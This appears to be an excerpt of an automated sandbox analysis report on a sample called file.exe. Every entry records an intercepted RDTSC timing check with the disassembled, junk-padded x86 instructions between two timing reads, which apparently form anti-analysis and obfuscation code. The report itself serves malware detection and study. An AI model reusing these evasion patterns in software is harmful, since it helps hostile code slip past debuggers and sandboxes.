Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1027A47 second address: 1027A4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1027BBC second address: 1027BC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102A1FB second address: 102A21C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F1F50CBBC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F1F50CBBC3Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102A21C second address: 102A222 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1036578 second address: 103657E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103657E second address: 1036584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103A0B4 second address: 103A0B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103FA59 second address: 103FA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50F77980h 0x00000009 jmp 00007F1F50F77989h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 jc 00007F1F50F7797Eh 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103FA93 second address: 103FAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1F50CBBC38h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1F50CBBC3Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103FAAC second address: 103FABA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F50F77976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1048C50 second address: 1048C5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1048C5A second address: 1048C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104B1D6 second address: 104B1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F1F50CBBC36h 0x0000000c popad 0x0000000d jo 00007F1F50CBBC42h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104B1EB second address: 104B1F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105273E second address: 1052750 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Dh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1051089 second address: 1051095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1F50F77976h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1051497 second address: 10514B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F50CBBC49h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10514B5 second address: 10514C1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10514C1 second address: 10514C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1051767 second address: 105176D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10518B6 second address: 10518D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F1F50CBBC46h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10518D4 second address: 10518DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10518DD second address: 10518F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50CBBC47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10518F8 second address: 1051910 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1F50F77976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F1F50F77976h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1051910 second address: 105191C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007F1F50CBBC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1052455 second address: 105246E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F1F50F77976h 0x0000000c popad 0x0000000d jmp 00007F1F50F7797Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1067675 second address: 1067688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1F50CBBC36h 0x0000000a popad 0x0000000b push edi 0x0000000c jng 00007F1F50CBBC36h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1067688 second address: 106769F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F1F50F77976h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007F1F50F77976h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106769F second address: 10676A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1069E5A second address: 1069E64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1069E64 second address: 1069E69 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1069CAA second address: 1069CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50F7797Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1069CBB second address: 1069CBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1069CBF second address: 1069CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F50F77989h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnp 00007F1F50F77991h 0x00000013 push edi 0x00000014 jo 00007F1F50F77976h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 106440F second address: 1064415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1079DC1 second address: 1079DC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1079DC7 second address: 1079DDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1079DDD second address: 1079DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1079DE3 second address: 1079E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1F50CBBC48h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092DBE second address: 1092DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push esi 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092DCA second address: 1092DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F50CBBC49h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092141 second address: 1092145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092145 second address: 1092149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092149 second address: 1092151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092151 second address: 1092171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50CBBC46h 0x00000009 jg 00007F1F50CBBC36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092171 second address: 109217F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F1F50F77976h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092733 second address: 1092739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1092739 second address: 109273D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109273D second address: 1092741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1097451 second address: 1097455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1097455 second address: 109745B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109745B second address: 109748C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F1F50F77976h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+1247C696h], edi 0x00000015 push dword ptr [ebp+122D1B62h] 0x0000001b mov dx, A108h 0x0000001f call 00007F1F50F77979h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 jp 00007F1F50F77976h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109748C second address: 10974A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F50CBBC43h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10974A7 second address: 10974C3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1F50F77976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1F50F7797Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10974C3 second address: 10974C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10974C7 second address: 109750E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F50F7797Bh 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push ecx 0x00000012 jmp 00007F1F50F7797Ch 0x00000017 pop ecx 0x00000018 jmp 00007F1F50F77981h 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 js 00007F1F50F77982h 0x00000026 je 00007F1F50F7797Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1098ED8 second address: 1098EF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jbe 00007F1F50CBBC36h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1098EF4 second address: 1098F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F50F7797Bh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1098F05 second address: 1098F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109AAB6 second address: 109AAD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77989h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 109AAD3 second address: 109AAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F1F50CBBC36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0DAA second address: 53B0DAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0B47 second address: 53A0B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0B56 second address: 53A0BC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1F50F77981h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F1F50F7797Eh 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov al, bl 0x0000001c pushfd 0x0000001d jmp 00007F1F50F77986h 0x00000022 sub ch, 00000018h 0x00000025 jmp 00007F1F50F7797Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0BC2 second address: 53A0BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1F50CBBC3Fh 0x00000009 add ecx, 724F00DEh 0x0000000f jmp 00007F1F50CBBC49h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53E0B6E second address: 53E0BEC instructions: 0x00000000 rdtsc 0x00000002 mov di, B3F4h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a pushad 0x0000000b mov bl, ch 0x0000000d push ebx 0x0000000e movzx esi, di 0x00000011 pop edi 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F1F50F77984h 0x0000001d xor cl, FFFFFFD8h 0x00000020 jmp 00007F1F50F7797Bh 0x00000025 popfd 0x00000026 mov edi, esi 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007F1F50F77982h 0x00000030 pop ebp 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F1F50F7797Eh 0x00000038 jmp 00007F1F50F77985h 0x0000003d popfd 0x0000003e push eax 0x0000003f push edx 0x00000040 mov bx, cx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53800D8 second address: 53800DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53800DC second address: 5380113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F1F50F77986h 0x0000000b jmp 00007F1F50F77982h 0x00000010 pop ecx 0x00000011 popad 0x00000012 push ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380113 second address: 5380126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5380126 second address: 538019E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F1F50F7797Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 pushfd 0x00000018 jmp 00007F1F50F77983h 0x0000001d sub cl, FFFFFFAEh 0x00000020 jmp 00007F1F50F77989h 0x00000025 popfd 0x00000026 popad 0x00000027 push dword ptr [ebp+04h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F1F50F7797Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538019E second address: 53801D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007F1F50CBBC44h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1F50CBBC47h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53801D9 second address: 53801DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0956 second address: 53A0966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 0B8Ah 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0966 second address: 53A096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A096D second address: 53A0973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0973 second address: 53A0977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0977 second address: 53A097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0550 second address: 53A0575 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50F77981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1F50F7797Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0484 second address: 53A04A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A022B second address: 53A0231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0231 second address: 53A0235 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0235 second address: 53A0285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1F50F77982h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ah, bl 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007F1F50F77984h 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F1F50F77983h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A0285 second address: 53A028B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53A028B second address: 53A028F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0008 second address: 53B000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B000C second address: 53B0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0012 second address: 53B0039 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1F50CBBC45h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0039 second address: 53B0070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F1F50F7797Dh 0x0000000b xor esi, 6F179A96h 0x00000011 jmp 00007F1F50F77981h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov edx, 05D257A0h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B0070 second address: 53B00E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F1F50CBBC40h 0x0000000f add ax, B518h 0x00000014 jmp 00007F1F50CBBC3Bh 0x00000019 popfd 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F1F50CBBC46h 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F1F50CBBC47h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B00E2 second address: 53B00E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 53B00E8 second address: 53B013A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F50CBBC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, 5AC6h 0x00000013 pushfd 0x00000014 jmp 00007F1F50CBBC47h 0x00000019 add esi, 0E65C94Eh 0x0000001f jmp 00007F1F50CBBC49h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
